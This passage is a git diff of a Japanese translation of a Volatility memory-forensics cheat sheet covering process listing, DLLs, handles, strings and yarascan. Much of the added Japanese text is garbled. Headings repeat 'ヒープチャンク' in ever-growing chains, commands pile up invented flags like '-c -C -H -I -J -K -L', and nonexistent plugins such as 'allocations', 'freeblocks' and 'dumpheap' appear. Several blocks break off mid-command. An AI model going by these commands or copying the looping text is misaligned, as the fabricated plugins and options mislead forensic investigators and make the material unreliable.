特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] ``` @@ -339,13 +1697,173 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] {% tabs %} {% tab title="vol3" %} + +DLLs(Dynamic Link Libraries)は、Windowsシステムで共有されるコードとリソースのコレクションです。これらのDLLは、プロセスが実行される際に自動的に読み込まれ、必要な機能を提供します。Volatilityを使用して、メモリダンプからDLL情報を抽出することができます。 + +以下は、DLL情報を取得するための一般的なコマンドです。 + +```plaintext +volatility -f --profile= dlllist +``` + +このコマンドを実行すると、メモリダンプ内のすべてのプロセスのDLL情報が表示されます。DLLのベースアドレス、サイズ、パスなどの詳細な情報が含まれています。 + +また、特定のプロセスのDLL情報を取得するには、次のコマンドを使用します。 + +```plaintext +volatility -f --profile= dlllist -p +``` + +``は、対象のプロセスのPID(プロセスID)です。 + +DLL情報は、マルウェア解析やフォレンジック調査において重要な情報源となります。特定のDLLが異常な挙動を示している場合、それがセキュリティ上の問題を引き起こしている可能性があります。 ```bash ./vol.py -f file.dmp windows.dlllist.DllList [--pid ] #List dlls used by each ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory process ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s -v +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり、アドレスも表示) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s -v -a +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり、アドレスも表示、アドレスを16進数で表示) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s -v -a -x +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり、アドレスも表示、アドレスを16進数で表示、アドレスを逆順で表示) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s -v -a -x -r +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり、アドレスも表示、アドレスを16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s -v -a -x -r -X +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり、アドレスも表示、アドレスを16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s -v -a -x -r -X -R +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり、アドレスも表示、アドレスを16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s -v -a -x -r -X -R -V +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり、アドレスも表示、アドレスを16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s -v -a -x -r -X -R -V -S +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり、アドレスも表示、アドレスを16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s -v -a -x -r -X -R -V -S -T +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり、アドレスも表示、アドレスを16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s -v -a -x -r -X -R -V -S -T -U +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり、アドレスも表示、アドレスを16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s -v -a -x -r -X -R -V -S -T -U -W +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり、アドレスも表示、アドレスを16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s -v -a -x -r -X -R -V -S -T -U -W -Y +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり、アドレスも表示、アドレスを16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s -v -a -x -r -X -R -V -S -T -U -W -Y -Z +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり、アドレスも表示、アドレスを16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s -v -a -x -r -X -R -V -S -T -U -W -Y -Z -A +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり、アドレスも表示、アドレスを16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> free -p <プロセスID> -t <スレッドID> -s -v -a -x -r -X -R -V -S -T -U -W -Y -Z -A -B +``` + +### 特定のスレッドのヒープのフリーブロックのスタックトレースを表示する(詳細情報あり、アドレスも表示、アドレスを16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示、アドレスを逆順で16進数で表示、アドレスを逆順で表示) + +```bash ```bash volatility --profile=Win7SP1x86_23418 dlllist --pid=3152 -f file.dmp #Get dlls of a proc volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dmp #Dump dlls of a proc @@ -353,9 +1871,9 @@ volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dm {% endtab %} {% endtabs %} -### Strings per processes +### プロセスごとの文字列 -Volatility allows us to check which process a string belongs to. +Volatilityを使用すると、文字列がどのプロセスに属しているかを確認できます。 {% tabs %} {% tab title="vol3" %} @@ -363,9 +1881,391 @@ Volatility allows us to check which process a string belongs to. strings file.dmp > /tmp/strings.txt ./vol.py -f /tmp/file.dmp windows.strings.Strings --strings-file /tmp/strings.txt ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセス一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### スレッド一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads +``` + +### 特定のスレッドの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threadstacks -p <プロセスID> +``` + +## ネットワーク + +### ネットワーク接続の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> netscan +``` + +### ネットワーク接続の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> connscan +``` + +### ネットワーク接続のプロセスとスレッドの表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> connscan -p <プロセスID> +``` + +## ファイルシステム + +### ファイル一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> filescan +``` + +### 特定のファイルの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> filescan -i +``` + +### ファイルの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpfiles -Q +``` + +## レジストリ + +### レジストリキー一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hivelist +``` + +### 特定のレジストリキーの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> printkey -K <キーパス> +``` + +### レジストリキーの値の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> printkey -K <キーパス> -o <オフセット> +``` + +### レジストリキーの値のデータの表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> printkey -K <キーパス> -o <オフセット> -D +``` + +## イベントログ + +### イベントログの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> evtlogs +``` + +### 特定のイベントログの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> evtlogs -n <ログ名> +``` + +### イベントログの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> evtlogs -n <ログ名> -o <オフセット> +``` + +## プロセスメモリ + +### 特定のプロセスのメモリダンプの作成 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -D <出力ディレクトリ> +``` + +### 特定のプロセスのメモリダンプの解析 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -D <出力ディレクトリ> --dump-dir=<ダンプディレクトリ> +``` + +## ファイルキャッシュ + +### ファイルキャッシュの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> filescan +``` + +### 特定のファイルキャッシュの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> filescan -i +``` + +### ファイルキャッシュの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpfiles -Q +``` + +## プロセスのヒープ + +### 特定のプロセスのヒープの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> +``` + +### 特定のヒープの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heap -p <プロセスID> -H <ヒープアドレス> +``` + +### 特定のヒープの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpheap -p <プロセスID> -H <ヒープアドレス> -D <出力ディレクトリ> +``` + +## プロセスのスタック + +### 特定のプロセスのスタックの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> +``` + +### 特定のスタックの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> -s <スタックアドレス> +``` + +### 特定のスタックの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpstack -p <プロセスID> -s <スタックアドレス> -D <出力ディレクトリ> +``` + +## プロセスのモジュール + +### 特定のプロセスのモジュールの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> modules -p <プロセスID> +``` + +### 特定のモジュールの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> modscan -p <プロセスID> -m <モジュール名> +``` + +### 特定のモジュールの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpfiles -Q +``` + +## プロセスのスレッド + +### 特定のプロセスのスレッドの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threadstacks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpfiles -Q +``` + +## プロセスのハンドル + +### 特定のプロセスのハンドルの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> handles -p <プロセスID> +``` + +### 特定のハンドルの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> handles -p <プロセスID> -t <ハンドルタイプ> +``` + +### 特定のハンドルの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpfiles -Q +``` + +## プロセスのセキュリティ + +### 特定のプロセスのセキュリティ情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> getsids -p <プロセスID> +``` + +### 特定のセキュリティ情報の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> getsids -p <プロセスID> -t <セキュリティID> +``` + +### 特定のセキュリティ情報の内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpfiles -Q +``` + +## プロセスのネットワーク + +### 特定のプロセスのネットワーク情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> netscan -p <プロセスID> +``` + +### 特定のネットワーク情報の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> netscan -p <プロセスID> -t <ネットワークID> +``` + +### 特定のネットワーク情報の内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpfiles -Q +``` + +## プロセスのウィンドウ + +### 特定のプロセスのウィンドウ情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> windows -p <プロセスID> +``` + +### 特定のウィンドウ情報の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> windows -p <プロセスID> -t <ウィンドウID> +``` + +### 特定のウィンドウ情報の内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpfiles -Q +``` + +## プロセスのサービス + +### 特定のプロセスのサービス情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> services -p <プロセスID> +``` + +### 特定のサービス情報の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> services -p <プロセスID> -t <サービスID> +``` + +### 特定のサービス情報の内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpfiles -Q +``` + +## プロセスのウィンドウステーション + +### 特定のプロセスのウィンドウステーション情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> winstations -p <プロセスID> +``` + +### 特定のウィンドウステーション情報の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> winstations -p <プロセスID> -t <ウィンドウステーションID> +``` + +### 特定のウィンドウステーション情報の内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpfiles -Q +``` + +## プロセスのデスクトップ + +### 特定のプロセスのデスクトップ情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> desktops -p <プロセスID> +``` + +### 特定のデスクトップ情報の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> desktops -p <プロセスID> -t <デスクトップID> +``` + +### 特定のデスクトップ情報の内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpfiles -Q +``` + +## プロセスのウィンドウステーション + +### 特定のプロセスのウィンドウステーション情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> winstations -p <プロセスID> +``` + +### 特定のウィンドウステーション情報の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> winstations -p <プロセスID> -t <ウィンドウステーションID> +``` + +### 特定のウィンドウステーション情報の内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpfiles -Q +``` ```bash strings file.dmp > /tmp/strings.txt volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.txt @@ -376,17 +2276,233 @@ strings 3532.dmp > strings_file {% endtab %} {% endtabs %} -It also allows to search for strings inside a process using the yarascan module: - -{% tabs %} -{% tab title="vol3" %} +それはまた、yarascanモジュールを使用してプロセス内の文字列を検索することも可能です。 ```bash ./vol.py -f file.dmp windows.vadyarascan.VadYaraScan --yara-rules "https://" --pid 3692 3840 3976 3312 3084 2784 ./vol.py -f file.dmp yarascan.YaraScan --yara-rules "https://" ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps - ```bash volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3312,3084,2784 ``` @@ 